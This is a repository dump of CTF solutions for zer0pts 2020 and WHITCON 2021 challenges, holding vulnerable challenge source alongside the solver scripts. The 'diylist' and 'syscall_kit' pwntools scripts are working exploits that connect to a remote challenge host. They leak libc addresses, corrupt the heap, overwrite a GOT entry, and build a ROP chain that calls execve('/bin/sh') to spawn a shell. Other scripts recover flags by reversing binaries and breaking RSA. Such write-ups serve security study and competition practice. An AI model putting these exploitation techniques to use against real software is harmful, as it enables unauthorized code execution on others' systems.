9 | -nographic -enable-kvm 10 | -------------------------------------------------------------------------------- /2020-zer0pts/diylist/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2020-zer0pts/diylist/chall -------------------------------------------------------------------------------- /2020-zer0pts/diylist/ld-2.27.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2020-zer0pts/diylist/ld-2.27.so -------------------------------------------------------------------------------- /2020-zer0pts/diylist/libc-2.27.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2020-zer0pts/diylist/libc-2.27.so -------------------------------------------------------------------------------- /2020-zer0pts/diylist/libdiylist.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2020-zer0pts/diylist/libdiylist.so -------------------------------------------------------------------------------- /2020-zer0pts/diylist/solve.py: -------------------------------------------------------------------------------- 1 | import pwn 2 | 3 | 4 | HOST, PORT = '13.231.207.73', 9007 5 | DEBUG = False 6 | 7 | if DEBUG: 8 | env = {'LD_LIBRARY_PATH': '.'} 9 | p = pwn.process(['./ld-2.27.so', './chall'], env=env) 10 | else: 11 | p = pwn.remote(HOST, PORT) 12 | pwn.context.log_level = 'DEBUG' 13 | 14 | libc = pwn.ELF('./libc-2.27.so') 15 | 16 | 17 | def Menu(i): 18 | p.recvuntil('> ') 19 | p.sendline(str(i)) 20 | 21 | 22 | def Add(data, t): 23 | Menu(1) 24 | 25 | p.recvuntil('Type(long=1/double=2/str=3): ') 26 | p.sendline(str(t)) 27 | p.recvuntil('Data: ') 28 | if t == 1 or t == 2: 29 | p.sendline(str(data)) 30 | if t == 3 and len(data) == 0x7F: 31 | p.send(data) 32 | if t == 3 and len(data) < 0x7F: 33 | p.sendline(data) 34 | 35 | 36 | def Get(index, t): 37 | Menu(2) 38 | 39 | p.recvuntil('Index: ') 40 | p.sendline(str(index)) 41 | p.recvuntil('Type(long=1/double=2/str=3): ') 42 | p.sendline(str(t)) 43 | 44 | p.recvuntil('Data: ') 45 | return p.recvline(keepends=False) 46 | 47 | 48 | def Edit(index, data, t): 49 | Menu(3) 50 | 51 | p.recvuntil('Index: ') 52 | p.sendline(str(index)) 53 | p.recvuntil('Type(long=1/double=2/str=3): ') 54 | p.sendline(str(t)) 55 | p.recvuntil('Data: ') 56 | if t == 1 or t == 2: 57 | p.sendline(str(data)) 58 | if t == 3 and len(data) == 0x7F: 59 | p.send(data) 60 | if t == 3 and len(data) < 0x7F: 61 | p.sendline(data) 62 | 63 | 64 | def Delete(index): 65 | Menu(4) 66 | 67 | p.recvuntil('Index: ') 68 | p.sendline(str(index)) 69 | 70 | 71 | Add(0x602018, 1) 72 | libc_base = pwn.u64(Get(0, 3).ljust(8, b'\x00')) - libc.symbols[b'puts'] 73 | pwn.log.info('libc.so.6: 0x{:012X}'.format(libc_base)) 74 | 75 | Delete(0) 76 | 77 | Add('ironore15', 3) 78 | heap_base = int(Get(0, 1)) - 0x2B0 79 | pwn.log.info('[heap]: 0x{:012X}'.format(heap_base)) 80 | 81 | Add(heap_base + 0x2B0, 1) 82 | 83 | Delete(0) 84 | Delete(0) 85 | 86 | Add(pwn.p64(0x602030), 3) 87 | 88 | Add('ironore15', 3) 89 | 90 | Add(pwn.p64(libc_base + libc.symbols[b'system']), 3) 91 | Add('/bin/sh', 2) 92 | 93 | pwn.context.log_level = 'INFO' 94 | p.interactive() 95 | 96 | # zer0pts{m4y_th3_typ3_b3_w1th_y0u} 97 | -------------------------------------------------------------------------------- /2020-zer0pts/diylist/src/diylist.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "diylist.h" 5 | 6 | int fpool_num = 0; 7 | FREEPOOL fpool[MAX_FREEPOOL] = {NULL}; 8 | 9 | /* 10 | * Create a new list 11 | */ 12 | List* list_new(void) 13 | { 14 | List *list; 15 | 16 | list = (List*)malloc(sizeof(List)); 17 | list->size = 0; 18 | list->max = 0; 19 | list->data = NULL; 20 | 21 | return list; 22 | } 23 | 24 | /* 25 | * Add an element 26 | */ 27 | void list_add(List* list, Data data, LIST_TYPE type) 28 | { 29 | Data *p; 30 | 31 | if (list->size >= list->max) { 32 | /* Re-allocate a chunk if the list is full */ 33 | Data *old = list->data; 34 | list->max += CHUNK_SIZE; 35 | 36 | list->data = (Data*)malloc(sizeof(Data) * list->max); 37 | if (list->data == NULL) 38 | __list_abort("Allocation error"); 39 | 40 | if (old != NULL) { 41 | /* Copy and free the old chunk */ 42 | memcpy((char*)list->data, (char*)old, sizeof(Data) * (list->max - 1)); 43 | free(old); 44 | } 45 | } 46 | 47 | /* Store new data */ 48 | switch(type) { 49 | case LIST_LONG: 50 | list->data[list->size].d_long = data.d_long; 51 | break; 52 | case LIST_DOUBLE: 53 | list->data[list->size].d_double = data.d_double; 54 | break; 55 | case LIST_STRING: 56 | list->data[list->size].p_char = strdup(data.p_char); 57 | /* Insert the address to free pool 58 | so that it'll be freed when the list is deleted */ 59 | if (fpool_num < MAX_FREEPOOL) { 60 | fpool[fpool_num] = list->data[list->size].p_char; 61 | fpool_num++; 62 | } 63 | break; 64 | default: 65 | __list_abort("Invalid type"); 66 | } 67 | 68 | list->size++; 69 | } 70 | 71 | /* 72 | * Get an element 73 | */ 74 | Data list_get(List* list, int index) 75 | { 76 | if (index < 0 || list->size <= index) 77 | __list_abort("Out of bounds error"); 78 | 79 | return (Data)list->data[index].p_char; 80 | } 81 | 82 | /* 83 | * Edit an element 84 | */ 85 | void list_edit(List* list, int index, Data data, LIST_TYPE type) 86 | { 87 | if (index < 0 || list->size <= index) 88 | __list_abort("Out of bounds error"); 89 | 90 | /* Store the data */ 91 | switch(type) { 92 | case LIST_LONG: 93 | list->data[index].d_long = data.d_long; 94 | break; 95 | case LIST_DOUBLE: 96 | list->data[index].d_double = data.d_double; 97 | break; 98 | case LIST_STRING: 99 | list->data[index].p_char = strdup(data.p_char); 100 | /* Insert the address to free pool */ 101 | if (fpool_num < MAX_FREEPOOL) { 102 | fpool[fpool_num] = list->data[list->size].p_char; 103 | fpool_num++; 104 | } 105 | break; 106 | default: 107 | __list_abort("Invalid type"); 108 | } 109 | } 110 | 111 | /* 112 | * Delete an element 113 | */ 114 | void list_del(List* list, int index) 115 | { 116 | int i; 117 | if (index < 0 || list->size <= index) 118 | __list_abort("Out of bounds error"); 119 | 120 | Data data = list->data[index]; 121 | 122 | /* Shift data list and remove the last one */ 123 | for(i = index; i < list->size - 1; i++) { 124 | list->data[i] = list->data[i + 1]; 125 | } 126 | list->data[i].d_long = 0; 127 | 128 | list->size--; 129 | 130 | /* Free data if it's in the pool list */ 131 | for(i = 0; i < fpool_num; i++) { 132 | if (fpool[i] == data.p_char) { 133 | free(data.p_char); 134 | break; 135 | } 136 | } 137 | } 138 | 139 | /* 140 | * Dump error and quit 141 | */ 142 | void __list_abort(const char *msg) 143 | { 144 | fprintf(stderr, "[ABORT] %s\n", msg); 145 | exit(1); 146 | } 147 | -------------------------------------------------------------------------------- /2020-zer0pts/diylist/src/diylist.h: -------------------------------------------------------------------------------- 1 | #define CHUNK_SIZE 4 2 | #define MAX_FREEPOOL 64 3 | 4 | typedef char* FREEPOOL; 5 | 6 | typedef enum { 7 | __LIST_HEAD = 0, 8 | LIST_LONG, 9 | LIST_DOUBLE, 10 | LIST_STRING, 11 | __LIST_BOTTOM 12 | } LIST_TYPE; 13 | 14 | typedef union { 15 | char *p_char; 16 | long d_long; 17 | double d_double; 18 | } Data; 19 | 20 | typedef struct { 21 | int size; 22 | int max; 23 | Data *data; 24 | } List; 25 | 26 | List* list_new(void); 27 | void list_add(List*, Data, LIST_TYPE); 28 | Data list_get(List*, int); 29 | void list_edit(List*, int, Data, LIST_TYPE); 30 | void list_del(List*, int); 31 | void __list_abort(const char*); 32 | -------------------------------------------------------------------------------- /2020-zer0pts/diylist/src/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include "diylist.h" 6 | 7 | long read_long(void) 8 | { 9 | char buf[16]; 10 | read(0, buf, 14); 11 | return atol(buf); 12 | } 13 | 14 | double read_double(void) 15 | { 16 | char buf[16]; 17 | read(0, buf, 14); 18 | return atof(buf); 19 | } 20 | 21 | void read_str(char *buf) 22 | { 23 | int size = read(0, buf, 127); 24 | char *nl = strchr(buf, '\n'); 25 | if (nl != NULL) { 26 | *nl = '\x00'; 27 | } else { 28 | buf[size] = 0; 29 | } 30 | } 31 | 32 | long menu(void) 33 | { 34 | puts("1. list_add"); 35 | puts("2. list_get"); 36 | puts("3. list_edit"); 37 | puts("4. list_del"); 38 | printf("> "); 39 | return read_long(); 40 | } 41 | 42 | void add(List *list) 43 | { 44 | char buf[128]; 45 | printf("Type(long=%d/double=%d/str=%d): ", LIST_LONG, LIST_DOUBLE, LIST_STRING); 46 | 47 | switch(read_long()) { 48 | case LIST_LONG: 49 | printf("Data: "); 50 | list_add(list, (Data)read_long(), LIST_LONG); 51 | break; 52 | 53 | case LIST_DOUBLE: 54 | printf("Data: "); 55 | list_add(list, (Data)read_double(), LIST_DOUBLE); 56 | break; 57 | 58 | case LIST_STRING: 59 | printf("Data: "); 60 | read_str(buf); 61 | list_add(list, (Data)buf, LIST_STRING); 62 | break; 63 | 64 | default: 65 | puts("Invalid option"); 66 | return; 67 | } 68 | } 69 | 70 | void get(List *list) 71 | { 72 | printf("Index: "); 73 | long index = read_long(); 74 | 75 | printf("Type(long=%d/double=%d/str=%d): ", LIST_LONG, LIST_DOUBLE, LIST_STRING); 76 | 77 | switch(read_long()) { 78 | case LIST_LONG: 79 | printf("Data: %ld\n", list_get(list, index).d_long); 80 | break; 81 | 82 | case LIST_DOUBLE: 83 | printf("Data: %lf\n", list_get(list, index).d_double); 84 | break; 85 | 86 | case LIST_STRING: 87 | printf("Data: %s\n", list_get(list, index).p_char); 88 | break; 89 | 90 | default: 91 | puts("Invalid option"); 92 | return; 93 | } 94 | } 95 | 96 | void edit(List *list) 97 | { 98 | char buf[128]; 99 | 100 | printf("Index: "); 101 | long index = read_long(); 102 | printf("Type(long=%d/double=%d/str=%d): ", LIST_LONG, LIST_DOUBLE, LIST_STRING); 103 | 104 | switch(read_long()) { 105 | case LIST_LONG: /* long */ 106 | printf("Data: "); 107 | list_edit(list, index, (Data)read_long(), LIST_LONG); 108 | break; 109 | 110 | case LIST_DOUBLE: /* double */ 111 | printf("Data: "); 112 | list_edit(list, index, (Data)read_double(), LIST_DOUBLE); 113 | break; 114 | 115 | case LIST_STRING: /* str */ 116 | printf("Data: "); 117 | read_str(buf); 118 | list_edit(list, index, (Data)buf, LIST_STRING); 119 | break; 120 | 121 | default: 122 | puts("Invalid option"); 123 | return; 124 | } 125 | } 126 | 127 | void del(List *list) 128 | { 129 | printf("Index: "); 130 | long index = read_long(); 131 | 132 | list_del(list, index); 133 | puts("Successfully removed"); 134 | } 135 | 136 | void initialize(void) 137 | { 138 | setbuf(stdin, NULL); 139 | setbuf(stdout, NULL); 140 | setbuf(stderr, NULL); 141 | } 142 | 143 | int main(void) 144 | { 145 | initialize(); 146 | 147 | List *list = list_new(); 148 | 149 | while(1) { 150 | switch(menu()) { 151 | case 1: add(list); break; 152 | case 2: get(list); break; 153 | case 3: edit(list); break; 154 | case 4: del(list); break; 155 | } 156 | } 157 | } 158 | -------------------------------------------------------------------------------- /2020-zer0pts/easy_strcmp/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2020-zer0pts/easy_strcmp/chall -------------------------------------------------------------------------------- /2020-zer0pts/easy_strcmp/solve.py: -------------------------------------------------------------------------------- 1 | import pwn 2 | 3 | 4 | elf = pwn.ELF('./chall') 5 | 6 | fake = b'zer0pts{********CENSORED********}' 7 | fake += b'\x00' * (8 - len(fake) % 8) 8 | 9 | data = elf.read(0x201060, len(fake)) 10 | 11 | flag = b'' 12 | 13 | for i in range(0, len(fake), 8): 14 | flag += pwn.p64(pwn.u64(fake[i:i+8]) + pwn.u64(data[i:i+8])) 15 | 16 | flag = flag.strip(b'\x00').decode() 17 | 18 | pwn.log.info(flag) 19 | -------------------------------------------------------------------------------- /2020-zer0pts/syscall_kit/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2020-zer0pts/syscall_kit/chall -------------------------------------------------------------------------------- /2020-zer0pts/syscall_kit/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2020-zer0pts/syscall_kit/libc.so.6 -------------------------------------------------------------------------------- /2020-zer0pts/syscall_kit/solve.py: -------------------------------------------------------------------------------- 1 | import pwn 2 | 3 | 4 | HOST, PORT = '13.231.207.73', 9006 5 | 6 | SYS_readv = 19 7 | SYS_writev = 20 8 | SYS_shmget = 29 9 | SYS_shmat = 30 10 | SYS_prctl = 157 11 | PR_SET_NAME = 15 12 | PR_GET_NAME = 16 13 | 14 | 15 | def syscall(p, no, a1, a2, a3, read=False): 16 | p.sendlineafter('syscall: ', str(no)) 17 | p.sendlineafter('arg1: ', str(a1)) 18 | p.sendlineafter('arg2: ', str(a2)) 19 | p.sendlineafter('arg3: ', str(a3)) 20 | 21 | if read: 22 | return 23 | 24 | p.recvline() 25 | data = p.recvuntil('retval: ', drop=True) 26 | return data, int(p.recvline(keepends=False), 16) 27 | 28 | 29 | def writeb(offset, ch): 30 | p = pwn.remote(HOST, PORT) 31 | pwn.context.log_level = 'INFO' 32 | 33 | _, shm_base = syscall(p, SYS_shmat, mid, 0x0, 0) 34 | libc_base = shm_base - 0xBB8000 35 | 36 | src = libc_base + next(libc.search(pwn.p8(ch))) 37 | syscall(p, SYS_prctl, PR_SET_NAME, src, 0) 38 | syscall(p, SYS_prctl, PR_GET_NAME, shm_base + offset, 0) 39 | 40 | pwn.context.log_level = 'DEBUG' 41 | p.close() 42 | 43 | 44 | p = pwn.remote(HOST, PORT) 45 | pwn.context.os = 'linux' 46 | pwn.context.arch = 'amd64' 47 | pwn.context.log_level = 'DEBUG' 48 | 49 | libc = pwn.ELF('./libc.so.6') 50 | 51 | _, mid = syscall(p, SYS_shmget, 0x1337, 0x1000, 0o1666) 52 | _, shm_base = syscall(p, SYS_shmat, mid, 0, 0) 53 | pwn.log.info('shmaddr: 0x{:012X}'.format(shm_base)) 54 | libc_base = shm_base - 0xBB8000 55 | pwn.log.info('libc.so.6: 0x{:012X}'.format(libc_base)) 56 | 57 | environ = libc_base + libc.symbols[b'environ'] 58 | 59 | iovec = pwn.p64(environ) 60 | iovec += pwn.p64(0x8) 61 | 62 | for i, x in enumerate(iovec): 63 | writeb(i, x) 64 | 65 | data, _ = syscall(p, SYS_writev, 1, shm_base, 1) 66 | environ = pwn.u64(data) 67 | pwn.log.info('environ: 0x{:012X}'.format(environ)) 68 | 69 | execve = libc_base + libc.symbols[b'execve'] 70 | str_bin_sh = libc_base + next(libc.search(b'/bin/sh\x00')) 71 | pop_rdi = libc_base + next(libc.search(pwn.asm('pop rdi; ret'))) 72 | pop_rsi = libc_base + next(libc.search(pwn.asm('pop rsi; ret'))) 73 | pop_rdx = libc_base + next(libc.search(pwn.asm('pop rdx; ret'))) 74 | 75 | payload = pwn.p64(pop_rdi) 76 | payload += pwn.p64(str_bin_sh) 77 | payload += pwn.p64(pop_rsi) 78 | payload += pwn.p64(0) 79 | payload += pwn.p64(pop_rdx) 80 | payload += pwn.p64(0) 81 | payload += pwn.p64(execve) 82 | 83 | ret_addr = environ - 0x100 84 | iovec = pwn.p64(ret_addr) 85 | iovec += pwn.p64(len(payload)) 86 | 87 | for i, x in enumerate(iovec): 88 | writeb(i, x) 89 | 90 | syscall(p, SYS_readv, 0, shm_base, 1, read=True) 91 | 92 | p.send(payload) 93 | 94 | for i in range(6): 95 | syscall(p, 3, 3, 0, 0) 96 | 97 | pwn.context.log_level = 'INFO' 98 | p.interactive() 99 | 100 | # zer0pts{n0_w4y!_i_b4nn3d_3v3ry_d4ng3r0us_sysc4ll!} 101 | -------------------------------------------------------------------------------- /2020-zer0pts/syscall_kit/src/main.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * syscall kit - WinterKosenCTF 2020 3 | * 4 | * This application is (maybe) made for educational purpose 5 | * and for those who learn system calls. 6 | */ 7 | #include 8 | #include 9 | 10 | class Emulator { 11 | private: 12 | unsigned long rax; 13 | unsigned long rdi; 14 | unsigned long rsi; 15 | unsigned long rdx; 16 | virtual void set(std::string, unsigned long&); 17 | virtual int check(); 18 | virtual void syscall(); 19 | public: 20 | Emulator(); 21 | virtual void emulate(); 22 | }; 23 | 24 | /** 25 | * Constructor 26 | */ 27 | Emulator::Emulator() { 28 | this->rax = 0; 29 | this->rdi = 0; 30 | this->rsi = 0; 31 | this->rdx = 0; 32 | } 33 | 34 | /** 35 | * Read system call number and arguments 36 | */ 37 | void Emulator::set(std::string msg, unsigned long ®) { 38 | std::cout << msg; 39 | std::cin >> reg; 40 | if (!std::cin.good()) exit(1); 41 | } 42 | 43 | /** 44 | * Filter dangerous system calls 45 | */ 46 | int Emulator::check() { 47 | if (this->rax >= 0x40000000) return 1; // x32 ABI is dangerous! 48 | if (this->rax == SYS_open) return 1; // never open files 49 | if (this->rax == SYS_openat) return 1; 50 | if (this->rax == SYS_write) return 1; // no more leak 51 | if (this->rax == SYS_read) return 1; // no more overwrite 52 | if (this->rax == SYS_sendfile) return 1; 53 | if (this->rax == SYS_execve) return 1; // of course not! 54 | if (this->rax == SYS_execveat) return 1; 55 | if (this->rax == SYS_ptrace) return 1; // may ruine the program 56 | if (this->rax == SYS_fork) return 1; 57 | if (this->rax == SYS_vfork) return 1; 58 | if (this->rax == SYS_clone) return 1; 59 | return 0; 60 | } 61 | 62 | /** 63 | * Call syscall 64 | */ 65 | void Emulator::syscall() { 66 | asm volatile ("movq %0, %%rdi":: "a"(this->rdi)); 67 | asm volatile ("movq %0, %%rsi":: "a"(this->rsi)); 68 | asm volatile ("movq %0, %%rdx":: "a"(this->rdx)); 69 | asm volatile ("movq %0, %%rax":: "a"(this->rax)); 70 | asm volatile ("syscall"); 71 | asm volatile ("movq %%rax, %0": "=a"(this->rax)); 72 | } 73 | 74 | /** 75 | * Run emulator 76 | */ 77 | void Emulator::emulate(void) 78 | { 79 | int i; 80 | for(i = 0; i < 10; i++) { 81 | std::cout << "=========================" << std::endl; 82 | this->set("syscall: ", this->rax); 83 | this->set("arg1: ", this->rdi); 84 | this->set("arg2: ", this->rsi); 85 | this->set("arg3: ", this->rdx); 86 | 87 | std::cout << "=========================" << std::endl; 88 | 89 | if (this->check()) { 90 | std::cerr << "syscall=" << this->rax << " is not allowed" << std::endl; 91 | continue; 92 | } else { 93 | this->syscall(); 94 | std::cout << "retval: " << std::hex << this->rax << std::endl; 95 | } 96 | } 97 | 98 | std::cout << "Bye!" << std::endl; 99 | } 100 | 101 | Emulator *m; 102 | 103 | void setup(void) 104 | { 105 | std::setbuf(stdin, NULL); 106 | std::setbuf(stdout, NULL); 107 | std::setbuf(stderr, NULL); 108 | 109 | m = new Emulator(); 110 | } 111 | 112 | int main(void) 113 | { 114 | setup(); 115 | m->emulate(); 116 | exit(0); 117 | } 118 | -------------------------------------------------------------------------------- /2020-zer0pts/wysinwyg/solve.py: -------------------------------------------------------------------------------- 1 | import pwn 2 | 3 | 4 | def prime_factorization(n): 5 | '''returns the prime factorization of a number; author: Wazim Karim''' 6 | factors = [] 7 | i = 2 8 | while n >= i: 9 | if n % i == 0: 10 | factors.append(i) 11 | n = n // i 12 | i = 2 13 | else: 14 | i = i + 1 15 | return factors 16 | 17 | 18 | def egcd(a, b): 19 | if a == 0: 20 | return (b, 0, 1) 21 | else: 22 | g, y, x = egcd(b % a, a) 23 | return (g, x - (b // a) * y, y) 24 | 25 | 26 | def modinv(a, m): 27 | g, x, y = egcd(a, m) 28 | if g != 1: 29 | raise Exception('modular inverse does not exist') 30 | else: 31 | return x % m 32 | 33 | 34 | elf = pwn.ELF('./wysinwyg') 35 | 36 | data = elf.read(0x202020, 0x130) 37 | 38 | enc_flag = [] 39 | for i in range(0, 0x130, 8): 40 | enc_flag.append(pwn.u64(data[i:i + 8])) 41 | 42 | e, n = 23531, 2343464867 43 | factors = prime_factorization(n) 44 | 45 | phi_n = 1 46 | for p in factors: 47 | phi_n *= p - 1 48 | 49 | d = modinv(e, phi_n) 50 | 51 | flag = bytes(map(lambda x: pow(x, d, n), enc_flag)).decode().strip() 52 | pwn.log.info(flag) 53 | -------------------------------------------------------------------------------- /2020-zer0pts/wysinwyg/wysinwyg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2020-zer0pts/wysinwyg/wysinwyg -------------------------------------------------------------------------------- /2021-WHITCON/finger_snap/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2021-WHITCON/finger_snap/chall -------------------------------------------------------------------------------- /2021-WHITCON/finger_snap/output: -------------------------------------------------------------------------------- 1 | 1010011010100100011111100110101101110010100010111000010000000011110001111100000001011000101100110000001100111111100100001100010101001011101100010010000111001110011010010000110101000001010100101101100000001000001001011000011000110010111001100010010110100110110010101001001001000111001011010010000110011001100100010011010110010101001100000101110110010110111000001011101100101100111000111000100101100100100100010110100010010100100001111110011011011100001001110000101111111100101111100000111110110111110011000011011000100001110001111111101000010011010110111000000011101010000000110111101100000010110111111101001011101010111101100110101111010111001110110000101111100011110001001111000001101001011010011001001011101101000100001100001010111011011111100010110111100011110111100001011010011110000100001100010001101010110111101010011111101001100100010000101001110101110111001011011111011001000110101110010111111111100001000010110100110001100100010011110111001101011000111000100100111110111000101010101101011111011001110000110010100001110?01????0010??1?10??01???010?01???01?101100???1111??1??010????0?0?1????1?0001??00?11???111?001??0?010?1??00??01?1001??0??0??1??0?00?010?01000111010?11?1??1?011010110111?00?0?0???10?1?100????0100????1110???1????1????1?0??01???001001?00????10?0???110??101?1111??00??1?10?11?01?0100?11??100001010??1??111????1????0??010?11??00?0?0??11110?1?0????000?101?1?001??0111?0?1???01???01?0?1000?100???1??0?0?01?100110?0??0??01?000?11?1?0100??00?0????101?0?1?????00??10?0000??10??1?01??0000?1?110??01010?00???0?????0?1??1111100??100??0000???1?00?0??101????10?11?01??1010?110?1?0?01?0?000?0?1?1111??111?1101?1?101?????100??10??0??010??1??1?100??1?110??1??1?101?1??10?00?0??1?11110?1?1??0?0?00????10??10?110?0111?0??1?0111??0?????1?11???????01??111????0??001??1??110??0?00????0?01???11?110101?0000?1010010110???1110100???01111?0??00????0110?1110??0???100?1?001?00110001?01??0?10??11??0?1?0?1?1?1?0101101?0?11010101?1??1?0010000??0?1??00????0??1?0?111??110??001???????1?0?11??011?0?????0??110?0???10???000???0?0100??011?1???01?01?0??111?1 2 | [A0, 27, 25, 92, BA, 14, 9B, E8, C4, C7, 7D, 0E, D1, B1, C3, 9B, 2E, EB, 7A, B2, 0B, 98, 37, 65, D3, 92, 46, DB, 4E, 0D, FC, 09, DA, 99, 04, A6, 73, 51, D8, 93, AD, 06, 6F, 06, F8, 96, 56, 61, D3, ED, 0C, DB, 25, A9, 05, 87, FD, 20, AE, 1D, B7, F8, 23, 96, AD, 01, 34, A1, 4E, 86, 65, 94, 28, D5, 05, E8, 59, 65, 49, 8F, 6A, 20, AE, CF, D9, BD, 13, 03, 58, A5, A2, 0B, 12, 6A, 22, EF, 51, D3, 69, 5D, 67, 08, CD, CD, 56, A8, 20, EF, 06, 1D, CB, E7, 8D, B8, 6B, D6, 10, 53, 29, 3B, CB, C2, AB, 7E, E2, D0, 43, 39] 3 | -------------------------------------------------------------------------------- /2021-WHITCON/finger_snap/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | from Crypto.Cipher import PKCS1_OAEP 3 | from Crypto.PublicKey import RSA 4 | from itertools import product 5 | from queue import Queue 6 | 7 | 8 | def egcd(a, b): 9 | if a == 0: 10 | return (b, 0, 1) 11 | g, y, x = egcd(b % a, a) 12 | return (g, x - (b//a) * y, y) 13 | 14 | 15 | def modinv(a, m): 16 | g, x, y = egcd(a, m) 17 | if g != 1: 18 | raise Exception('No modular inverse') 19 | return x % m 20 | 21 | 22 | n = int('1010011010100100011111100110101101110010100010111000010000000011110001111100000001011000101100110000001100111111100100001100010101001011101100010010000111001110011010010000110101000001010100101101100000001000001001011000011000110010111001100010010110100110110010101001001001000111001011010010000110011001100100010011010110010101001100000101110110010110111000001011101100101100111000111000100101100100100100010110100010010100100001111110011011011100001001110000101111111100101111100000111110110111110011000011011000100001110001111111101000010011010110111000000011101010000000110111101100000010110111111101001011101010111101100110101111010111001110110000101111100011110001001111000001101001011010011001001011101101000100001100001010111011011111100010110111100011110111100001011010011110000100001100010001101010110111101010011111101001100100010000101001110101110111001011011111011001000110101110010111111111100001000010110100110001100100010011110111001101011000111000100100111110111000101010101101011111011001110000110010100001', 2) 23 | 24 | p = '110?01????0010??1?10??01???010?01???01?101100???1111??1??010????0?0?1????1?0001??00?11???111?001??0?010?1??00??01?1001??0??0??1??0?00?010?01000111010?11?1??1?011010110111?00?0?0???10?1?100????0100????1110???1????1????1?0??01???001001?00????10?0???110??101?1111??00??1?10?11?01?0100?11??100001010??1??111????1????0??010?11??00?0?0??11110?1?0????000?101?1?001??0111?0?1???01???01?0?1000?100???1??0?0?01?100110?0??0??01?000?11?1?0100??00?0????101?0?1?????00??10?0000??10??1?01??0000?1?110??01010?00???0?????0?1??111' 25 | q = '1100??100??0000???1?00?0??101????10?11?01??1010?110?1?0?01?0?000?0?1?1111??111?1101?1?101?????100??10??0??010??1??1?100??1?110??1??1?101?1??10?00?0??1?11110?1?1??0?0?00????10??10?110?0111?0??1?0111??0?????1?11???????01??111????0??001??1??110??0?00????0?01???11?110101?0000?1010010110???1110100???01111?0??00????0110?1110??0???100?1?001?00110001?01??0?10??11??0?1?0?1?1?1?0101101?0?11010101?1??1?0010000??0?1??00????0??1?0?111??110??001???????1?0?11??011?0?????0??110?0???10???000???0?0100??011?1???01?01?0??111?1' 26 | 27 | enc_flag = bytes([0xA0, 0x27, 0x25, 0x92, 0xBA, 0x14, 0x9B, 0xE8, 0xC4, 0xC7, 0x7D, 0x0E, 0xD1, 0xB1, 0xC3, 0x9B, 0x2E, 0xEB, 0x7A, 0xB2, 0x0B, 0x98, 0x37, 0x65, 0xD3, 0x92, 0x46, 0xDB, 0x4E, 0x0D, 0xFC, 0x09, 0xDA, 0x99, 0x04, 0xA6, 0x73, 0x51, 0xD8, 0x93, 0xAD, 0x06, 0x6F, 0x06, 0xF8, 0x96, 0x56, 0x61, 0xD3, 0xED, 0x0C, 0xDB, 0x25, 0xA9, 0x05, 0x87, 0xFD, 0x20, 0xAE, 0x1D, 0xB7, 0xF8, 0x23, 0x96, 0xAD, 0x01, 0x34, 0xA1, 0x4E, 0x86, 0x65, 0x94, 0x28, 0xD5, 0x05, 0xE8, 0x59, 0x65, 0x49, 0x8F, 0x6A, 0x20, 0xAE, 0xCF, 0xD9, 0xBD, 0x13, 0x03, 0x58, 0xA5, 0xA2, 0x0B, 0x12, 0x6A, 0x22, 0xEF, 0x51, 0xD3, 0x69, 0x5D, 0x67, 0x08, 0xCD, 0xCD, 0x56, 0xA8, 0x20, 0xEF, 0x06, 0x1D, 0xCB, 0xE7, 0x8D, 0xB8, 0x6B, 0xD6, 0x10, 0x53, 0x29, 0x3B, 0xCB, 0xC2, 0xAB, 0x7E, 0xE2, 0xD0, 0x43, 0x39]) 28 | 29 | queue = Queue() 30 | queue.put((int(p[-1]), int(q[-1]), 1)) 31 | 32 | while not queue.empty(): 33 | partial_p, partial_q, i = queue.get() 34 | if partial_p * partial_q == n: 35 | break 36 | 37 | nexti = i + 1 38 | mask = (1 << nexti) - 1 39 | 40 | if p[512 - nexti] == '?': 41 | ps = [partial_p, (1 << i) + partial_p] 42 | else: 43 | ps = [(int(p[512 - nexti]) << i) + partial_p] 44 | 45 | if q[512 - nexti] == '?': 46 | qs = [partial_q, (1 << i) + partial_q] 47 | else: 48 | qs = [(int(q[512 - nexti]) << i) + partial_q] 49 | 50 | for tp, tq in product(ps, qs): 51 | if (tp * tq) & mask == n & mask: 52 | queue.put((tp, tq, nexti)) 53 | 54 | p, q = partial_p, partial_q 55 | assert p * q == n 56 | 57 | e = 0x10001 58 | d = modinv(e, (p - 1) * (q - 1)) 59 | 60 | rsa = RSA.construct((n, e, d, p, q)) 61 | cipher = PKCS1_OAEP.new(rsa) 62 | 63 | flag = cipher.decrypt(enc_flag).decode() 64 | print(flag) 65 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CTF writeups 2 | CTF writeups from ironore15, KAIST GoN. 3 | --------------------------------------------------------------------------------